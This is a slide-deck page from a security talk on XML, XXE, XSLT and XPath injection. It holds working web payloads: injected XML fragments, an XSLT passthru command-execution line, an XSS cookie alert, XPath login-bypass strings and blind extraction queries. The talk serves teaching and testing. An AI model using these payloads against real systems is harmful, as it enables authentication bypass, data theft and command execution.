SlideShare a Scribd company logo
XML & XPath Injection 
By AMol NAik (@amolnaik4)
Agenda 
 XML Basic 
 XML Injection 
 XXE Attack 
 XSLT Attacks 
 XPath Basics 
 XPath Injections 
 XPath Tools
 All codes are at: 
 https://bitbucket.org/null0x00/null-humla-xml- 
injection/ 
3
4
XML Basics 
 eXtensible Markup Language 
 Flexible text-based format 
 Presents structured info 
 Used for Data Exchange/Storage
XML Components 
Entity Attribute 
Root Element 
Node 
Node Value 
CDATA Section
XML – CDATA Section 
 Tells parser not to use markup for characters 
in this section 
 Examples: 
<![CDATA[if (c<10)]]> 
<![CDATA[<script>alert(1)</script>]>
XML Injections 
 In Node Attribute 
 In Node Value 
 In CDATA Section
XML Injection – Node Attribute 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog> 
102”><author>demo</author><title>Demo 
Demo</title><price>FREE</price></book><book id=“
XML Injection – Node Attribute 
<catalog> 
<book id=“102”> 
<author>demo</author> 
<title>Demo Demo</title> 
<price>FREE</price> 
</book> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog>
XML Injection – Node Value 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog> 
Anonymous</author><title>Demo Demo</title><price>FREE</price> 
</book><book id=“102”><author>
XML Injection – Node Value 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>Demo Demo</title> 
<price>FREE</price> 
</book> 
<book id=“102”> 
<author>demo</author> 
<title>We Are Anonymous</title> 
<price>INR 200</price> 
</book> 
</catalog>
XML Injection – CDATA 
Payload: 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price><![CDATA[INR 200]]></price> 
</book> 
</catalog> 
INR 200]]></price></book><book id=“102”><author>demo</author> 
<title>Demo Demo</title><price><![CDATA[
XML Injection – CDATA 
<catalog> 
<book id=“101”> 
<author>Anonymous</author> 
<title>We Are Anonymous</title> 
<price><![CDATA[INR 200]]></price> 
</book> 
<book id=“102”> 
<author>demo</author> 
<title>Demo Demo</title> 
<price><![CDATA[FREE]]></price> 
</book> 
</catalog>
XML Entity 
 Variable 
 Define 
Shortcuts 
Standard Text 
Special Characters 
 Can be Internal/External
XML Entity
XXE Attack
XSLT 
 Extensible Stylesheet Language 
Transformations 
 Used for the transformation of XML 
documents 
 See this as CSS of XML
XSLT
XSLT Injection 
 XSS 
<script>alert(document.cookie)</script> 
 Code Execution 
<xsl:value-of select="php:function('passthru','ls -la /')"/>
XPath Basics 
 Language to select XML Nodes 
 Formats XML data as tree-structured values 
 Similar as SQL (in some sense)
XPath Syntax 
 Uses path expressions to select nodes or 
node-sets in an xml document 
Expression Description 
nodename Selects all child nodes of the named node 
/ Selects from root node 
// Selects nodes from the current node that 
match the selection no matter where they 
are 
. Selects current node 
.. Selects parent of the current node
XPath Predicates 
 Used to find a specific node or a node that 
contain specific value. 
 Always embedded in square brackets. 
Expression Result 
/Employees/Employee[1] Selects first ‘Employee’ element that is 
the child of ‘Employees’ element 
/Employees/Employee[last()] Selects last ‘Employee’ element that is 
the child of ‘Employees’ element 
/Employees/Employee[position()<3] Selects first 2 ‘Employee’ elements that 
are children of Employees element 
//Employee[@ID=‘1’] Selects all the ‘Employee’ elements that 
have an attribute named ‘ID’ with a value 
of ‘1’
XPath Location Path 
 Syntax: 
axisname::nodetest[predicate] 
an axis - defines the tree-relationship between the 
selected node & the current node 
nodetest – identifies node within an axis 
Zero or more predicates – further refines the 
selected node-set
XPath Location Path 
Example Result 
child::Employee Selects all ‘Employee’ node that are children of the 
current node 
attribute::id Selects the id attribute of the current node 
child::* Selects all children of the current node 
attribute::* Selects all attributes of the current node 
child::text() Selects all text child nodes of the current node 
child::node() Selects all child nodes of the current node 
descendant::Employees Selects all ‘Employees’ descendants of the current node
XPath Functions 
Function Name Description 
substring(str,start,len) Return the substring from the start position to the specified 
length 
string-length(str) Returns length of the string 
count(item,item,…) Returns count of the nodes 
starts-with(str1,str2) Return ‘True’ if str1 starts with str2, else ‘False’ 
contain(str1,str2) Return ‘True’ if str1 contains str2, else ‘False’ 
number(arg) Returns numeric value of agrument. Agrument could be 
boolean, string or node-set 
string(arg) Returns string value of agrument. Agrument could be boolean, 
string or node-set
XPath Injection 
 XPath Query: 
/Employees/Employee[UserName/text() = ‘user’ 
and Password/text() = ‘passwd’]/Type/text()
XPath Injection 
 No UserName & Password known: 
user =’ or ‘1’=‘1 
passwd = ’ or ‘1’=‘1 
/Employees/Employee[UserName/text() = ‘’ or 
‘1’=‘1’ and Password/text() = ‘’ or 
‘1’=‘1’]Type/text()
XPath Injection 
 UserName known: 
user =mbrown’ or ‘1’=‘1 
passwd = anything 
/Employees/Employee[UserName/text() = 
‘mbrown’ or ‘1’=‘1’ and Password/text() = 
‘anything’]Type/text()
XPath Injection 
 No UserName & Password known & 
Password is not vulnerable: 
user =’ or ‘1’=‘1’ or ‘1’=‘1 
passwd = anything 
/Employees/Employee[UserName/text() = ‘’ or 
‘1’=‘1’ or ‘1’=‘1’ and Password/text() = 
‘anything’]Type/text()
Blind XPath Injection 
 XPath Query: 
/Employees/Employee[@ID=‘_id_’] 
/Employees/Employee[@ID=‘1’ and ‘1’=‘1’] 
=>TRUE 
/Employees/Employee[@ID=‘1’ and ‘1’=‘2’] 
=>FALSE
Blind XPath Injection 
 Extracting XML file structure 
Get count of all nodes 
▪ count(/*/child::*) 
Get name of first node 
▪ name(/*/child::*[1]) 
Get count of child nodes of first node 
▪ count(/*/child::*[1]/child::*)
Blind XPath Injection 
 Extracting XML file structure 
Get name of first child node of first node 
▪ name(/*/child::*[1]/child::*[1]) 
Get value of first child node of first node 
▪ /*/child::*[1]/child::*[1]/text() 
Repeat the process for all child nodes
Blind XPath Injection 
 Extracting XML file structure 
Check if the first character of value of first child 
node of first node is ‘J’ 
/Employees/Employee[@ID=‘123’ or 
substring((/*/child::*[1]/child::*[1]/text()),1,1)=‘J’ 
]
XPath Injection Tools 
 XPath Blind Explorer 
 Xcat 
 xmlchor - IronWASP Plugin 
 recon-ng 
xpath_bruter
References 
 XPath Injection 
http://www.slideshare.net/robertosl81/xpath-injection- 
3547860 
 Hacking XPath 2.0 
http://www.slideshare.net/michelemanzotti/hacki 
ng-xpath-20 
 Blind XPath Injection 
http://2stop.me/S%C3%A9curit%C3%A9%20Infor 
matique/Web/EN%20- 
%20Blind%20Xpath%20injection.pdf
Thank You !! 
AMol NAik 
http://twitter.com/amolnaik4 
http://amolnaik4.blogspot.com

More Related Content

What's hot (20)

PDF
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
bugcrowd
 
PPT
Sql injection
Nitish Kumar
 
PDF
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
PPTX
Sql injection
Sasha-Leigh Garret
 
PDF
Cross Site Scripting Going Beyond the Alert Box
Aaron Weaver
 
PPTX
Time-Based Blind SQL Injection
matt_presson
 
PPT
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
PDF
HTTP Security Headers
Ismael Goncalves
 
PPTX
HTML/CSS/java Script/Jquery
FAKHRUN NISHA
 
PDF
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
PPTX
SQL injection
Raj Parmar
 
PDF
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4hackers.com
 
PPT
Cross Site Request Forgery
Tony Bibbs
 
DOCX
Types of sql injection attacks
Respa Peter
 
PPTX
Form using html and java script validation
Maitree Patel
 
PDF
Sql injection with sqlmap
Herman Duarte
 
PPT
XSS - Attacks & Defense
Blueinfy Solutions
 
PDF
Sql Injection and XSS
Mike Crabb
 
PPT
SQL Injection
Adhoura Academy
 
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
Ekoparty 2017 - The Bug Hunter's Methodology
bugcrowd
 
Sql injection
Nitish Kumar
 
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
Sql injection
Sasha-Leigh Garret
 
Cross Site Scripting Going Beyond the Alert Box
Aaron Weaver
 
Time-Based Blind SQL Injection
matt_presson
 
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
HTTP Security Headers
Ismael Goncalves
 
HTML/CSS/java Script/Jquery
FAKHRUN NISHA
 
A Hacker's perspective on AEM applications security
Mikhail Egorov
 
SQL injection
Raj Parmar
 
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
Garage4hackers.com
 
Cross Site Request Forgery
Tony Bibbs
 
Types of sql injection attacks
Respa Peter
 
Form using html and java script validation
Maitree Patel
 
Sql injection with sqlmap
Herman Duarte
 
XSS - Attacks & Defense
Blueinfy Solutions
 
Sql Injection and XSS
Mike Crabb
 
SQL Injection
Adhoura Academy
 

Similar to XML & XPath Injections (20)

PDF
Hacking XPATH 2.0
michelemanzotti
 
PPT
XPath Injection
Roberto Suggi Liverani
 
PPTX
Xml session
Farag Zakaria
 
PPTX
Selenium-Locators
Mithilesh Singh
 
PPT
Advance xpath
Suresh G
 
PPTX
Javascripting.pptx
Vinod Srivastava
 
PPTX
Web Security Extensible Markup Language.pptx
SidduSKamatar
 
PDF
Tame cloud complexity with F# powered DSLs (build stuff)
Yan Cui
 
ODP
Play framework training by Neelkanth Sachdeva @ Scala Traits Event , New Delh...
Neelkanth Sachdeva
 
ODP
Play framework training by Neelkanth Sachdeva @ Scala traits event , New Delh...
Knoldus Inc.
 
PPTX
Java Annotations and Pre-processing
Danilo Pereira De Luca
 
PDF
XML Support: Specifications and Development
Peter Eisentraut
 
PPT
Apache Velocity
yesprakash
 
PPT
Os Bubna
oscon2007
 
PPT
Apache Velocity
Bhavya Siddappa
 
PDF
Twig Brief, Tips&Tricks
Andrei Burian
 
PPTX
Structure & Union in C++
Davinder Kaur
 
PDF
streams and files
Mariam Butt
 
PPTX
EXPRESSIONS IN JSP and Expression language in JSP
22B81A1246cvracinKAN
 
PDF
Broadleaf Presents Thymeleaf
Broadleaf Commerce
 
Hacking XPATH 2.0
michelemanzotti
 
XPath Injection
Roberto Suggi Liverani
 
Xml session
Farag Zakaria
 
Selenium-Locators
Mithilesh Singh
 
Advance xpath
Suresh G
 
Javascripting.pptx
Vinod Srivastava
 
Web Security Extensible Markup Language.pptx
SidduSKamatar
 
Tame cloud complexity with F# powered DSLs (build stuff)
Yan Cui
 
Play framework training by Neelkanth Sachdeva @ Scala Traits Event , New Delh...
Neelkanth Sachdeva
 
Play framework training by Neelkanth Sachdeva @ Scala traits event , New Delh...
Knoldus Inc.
 
Java Annotations and Pre-processing
Danilo Pereira De Luca
 
XML Support: Specifications and Development
Peter Eisentraut
 
Apache Velocity
yesprakash
 
Os Bubna
oscon2007
 
Apache Velocity
Bhavya Siddappa
 
Twig Brief, Tips&Tricks
Andrei Burian
 
Structure & Union in C++
Davinder Kaur
 
streams and files
Mariam Butt
 
EXPRESSIONS IN JSP and Expression language in JSP
22B81A1246cvracinKAN
 
Broadleaf Presents Thymeleaf
Broadleaf Commerce
 
Ad

Recently uploaded (20)

PDF
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
PDF
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
PPTX
Mastering ODC + Okta Configuration - Chennai OSUG
HathiMaryA
 
PDF
“Squinting Vision Pipelines: Detecting and Correcting Errors in Vision Models...
Edge AI and Vision Alliance
 
PDF
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
PDF
AI Agents in the Cloud: The Rise of Agentic Cloud Architecture
Lilly Gracia
 
PDF
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
PDF
Kit-Works Team Study_20250627_한달만에만든사내서비스키링(양다윗).pdf
Wonjun Hwang
 
PDF
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
PDF
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
PDF
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
PDF
How do you fast track Agentic automation use cases discovery?
DianaGray10
 
PDF
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
PDF
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
PDF
Peak of Data & AI Encore AI-Enhanced Workflows for the Real World
Safe Software
 
PPTX
Digital Circuits, important subject in CS
contactparinay1
 
PDF
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
PDF
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
 
PPTX
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
PDF
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
Newgen Beyond Frankenstein_Build vs Buy_Digital_version.pdf
darshakparmar
 
Mastering ODC + Okta Configuration - Chennai OSUG
HathiMaryA
 
“Squinting Vision Pipelines: Detecting and Correcting Errors in Vision Models...
Edge AI and Vision Alliance
 
Agentic AI lifecycle for Enterprise Hyper-Automation
Debmalya Biswas
 
AI Agents in the Cloud: The Rise of Agentic Cloud Architecture
Lilly Gracia
 
LOOPS in C Programming Language - Technology
RishabhDwivedi43
 
Kit-Works Team Study_20250627_한달만에만든사내서비스키링(양다윗).pdf
Wonjun Hwang
 
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
 
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
 
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
How do you fast track Agentic automation use cases discovery?
DianaGray10
 
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
Reverse Engineering of Security Products: Developing an Advanced Microsoft De...
nwbxhhcyjv
 
Peak of Data & AI Encore AI-Enhanced Workflows for the Real World
Safe Software
 
Digital Circuits, important subject in CS
contactparinay1
 
Newgen 2022-Forrester Newgen TEI_13 05 2022-The-Total-Economic-Impact-Newgen-...
darshakparmar
 
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
 
The Project Compass - GDG on Campus MSIT
dscmsitkol
 
Mastering Financial Management in Direct Selling
Epixel MLM Software
 
Ad

XML & XPath Injections

  • 1. XML & XPath Injection By AMol NAik (@amolnaik4)
  • 2. Agenda  XML Basic  XML Injection  XXE Attack  XSLT Attacks  XPath Basics  XPath Injections  XPath Tools
  • 3.  All codes are at:  https://bitbucket.org/null0x00/null-humla-xml- injection/ 3
  • 4. 4
  • 5. XML Basics  eXtensible Markup Language  Flexible text-based format  Presents structured info  Used for Data Exchange/Storage
  • 6. XML Components Entity Attribute Root Element Node Node Value CDATA Section
  • 7. XML – CDATA Section  Tells parser not to use markup for characters in this section  Examples: <![CDATA[if (c<10)]]> <![CDATA[<script>alert(1)</script>]>
  • 8. XML Injections  In Node Attribute  In Node Value  In CDATA Section
  • 9. XML Injection – Node Attribute Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog> 102”><author>demo</author><title>Demo Demo</title><price>FREE</price></book><book id=“
  • 10. XML Injection – Node Attribute <catalog> <book id=“102”> <author>demo</author> <title>Demo Demo</title> <price>FREE</price> </book> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog>
  • 11. XML Injection – Node Value Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog> Anonymous</author><title>Demo Demo</title><price>FREE</price> </book><book id=“102”><author>
  • 12. XML Injection – Node Value <catalog> <book id=“101”> <author>Anonymous</author> <title>Demo Demo</title> <price>FREE</price> </book> <book id=“102”> <author>demo</author> <title>We Are Anonymous</title> <price>INR 200</price> </book> </catalog>
  • 13. XML Injection – CDATA Payload: <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price><![CDATA[INR 200]]></price> </book> </catalog> INR 200]]></price></book><book id=“102”><author>demo</author> <title>Demo Demo</title><price><![CDATA[
  • 14. XML Injection – CDATA <catalog> <book id=“101”> <author>Anonymous</author> <title>We Are Anonymous</title> <price><![CDATA[INR 200]]></price> </book> <book id=“102”> <author>demo</author> <title>Demo Demo</title> <price><![CDATA[FREE]]></price> </book> </catalog>
  • 15. XML Entity  Variable  Define Shortcuts Standard Text Special Characters  Can be Internal/External
  • 18. XSLT  Extensible Stylesheet Language Transformations  Used for the transformation of XML documents  See this as CSS of XML
  • 19. XSLT
  • 20. XSLT Injection  XSS <script>alert(document.cookie)</script>  Code Execution <xsl:value-of select="php:function('passthru','ls -la /')"/>
  • 21. XPath Basics  Language to select XML Nodes  Formats XML data as tree-structured values  Similar as SQL (in some sense)
  • 22. XPath Syntax  Uses path expressions to select nodes or node-sets in an xml document Expression Description nodename Selects all child nodes of the named node / Selects from root node // Selects nodes from the current node that match the selection no matter where they are . Selects current node .. Selects parent of the current node
  • 23. XPath Predicates  Used to find a specific node or a node that contain specific value.  Always embedded in square brackets. Expression Result /Employees/Employee[1] Selects first ‘Employee’ element that is the child of ‘Employees’ element /Employees/Employee[last()] Selects last ‘Employee’ element that is the child of ‘Employees’ element /Employees/Employee[position()<3] Selects first 2 ‘Employee’ elements that are children of Employees element //Employee[@ID=‘1’] Selects all the ‘Employee’ elements that have an attribute named ‘ID’ with a value of ‘1’
  • 24. XPath Location Path  Syntax: axisname::nodetest[predicate] an axis - defines the tree-relationship between the selected node & the current node nodetest – identifies node within an axis Zero or more predicates – further refines the selected node-set
  • 25. XPath Location Path Example Result child::Employee Selects all ‘Employee’ node that are children of the current node attribute::id Selects the id attribute of the current node child::* Selects all children of the current node attribute::* Selects all attributes of the current node child::text() Selects all text child nodes of the current node child::node() Selects all child nodes of the current node descendant::Employees Selects all ‘Employees’ descendants of the current node
  • 26. XPath Functions Function Name Description substring(str,start,len) Return the substring from the start position to the specified length string-length(str) Returns length of the string count(item,item,…) Returns count of the nodes starts-with(str1,str2) Return ‘True’ if str1 starts with str2, else ‘False’ contain(str1,str2) Return ‘True’ if str1 contains str2, else ‘False’ number(arg) Returns numeric value of agrument. Agrument could be boolean, string or node-set string(arg) Returns string value of agrument. Agrument could be boolean, string or node-set
  • 27. XPath Injection  XPath Query: /Employees/Employee[UserName/text() = ‘user’ and Password/text() = ‘passwd’]/Type/text()
  • 28. XPath Injection  No UserName & Password known: user =’ or ‘1’=‘1 passwd = ’ or ‘1’=‘1 /Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ and Password/text() = ‘’ or ‘1’=‘1’]Type/text()
  • 29. XPath Injection  UserName known: user =mbrown’ or ‘1’=‘1 passwd = anything /Employees/Employee[UserName/text() = ‘mbrown’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()
  • 30. XPath Injection  No UserName & Password known & Password is not vulnerable: user =’ or ‘1’=‘1’ or ‘1’=‘1 passwd = anything /Employees/Employee[UserName/text() = ‘’ or ‘1’=‘1’ or ‘1’=‘1’ and Password/text() = ‘anything’]Type/text()
  • 31. Blind XPath Injection  XPath Query: /Employees/Employee[@ID=‘_id_’] /Employees/Employee[@ID=‘1’ and ‘1’=‘1’] =>TRUE /Employees/Employee[@ID=‘1’ and ‘1’=‘2’] =>FALSE
  • 32. Blind XPath Injection  Extracting XML file structure Get count of all nodes ▪ count(/*/child::*) Get name of first node ▪ name(/*/child::*[1]) Get count of child nodes of first node ▪ count(/*/child::*[1]/child::*)
  • 33. Blind XPath Injection  Extracting XML file structure Get name of first child node of first node ▪ name(/*/child::*[1]/child::*[1]) Get value of first child node of first node ▪ /*/child::*[1]/child::*[1]/text() Repeat the process for all child nodes
  • 34. Blind XPath Injection  Extracting XML file structure Check if the first character of value of first child node of first node is ‘J’ /Employees/Employee[@ID=‘123’ or substring((/*/child::*[1]/child::*[1]/text()),1,1)=‘J’ ]
  • 35. XPath Injection Tools  XPath Blind Explorer  Xcat  xmlchor - IronWASP Plugin  recon-ng xpath_bruter
  • 36. References  XPath Injection http://www.slideshare.net/robertosl81/xpath-injection- 3547860  Hacking XPath 2.0 http://www.slideshare.net/michelemanzotti/hacki ng-xpath-20  Blind XPath Injection http://2stop.me/S%C3%A9curit%C3%A9%20Infor matique/Web/EN%20- %20Blind%20Xpath%20injection.pdf
  • 37. Thank You !! AMol NAik http://twitter.com/amolnaik4 http://amolnaik4.blogspot.com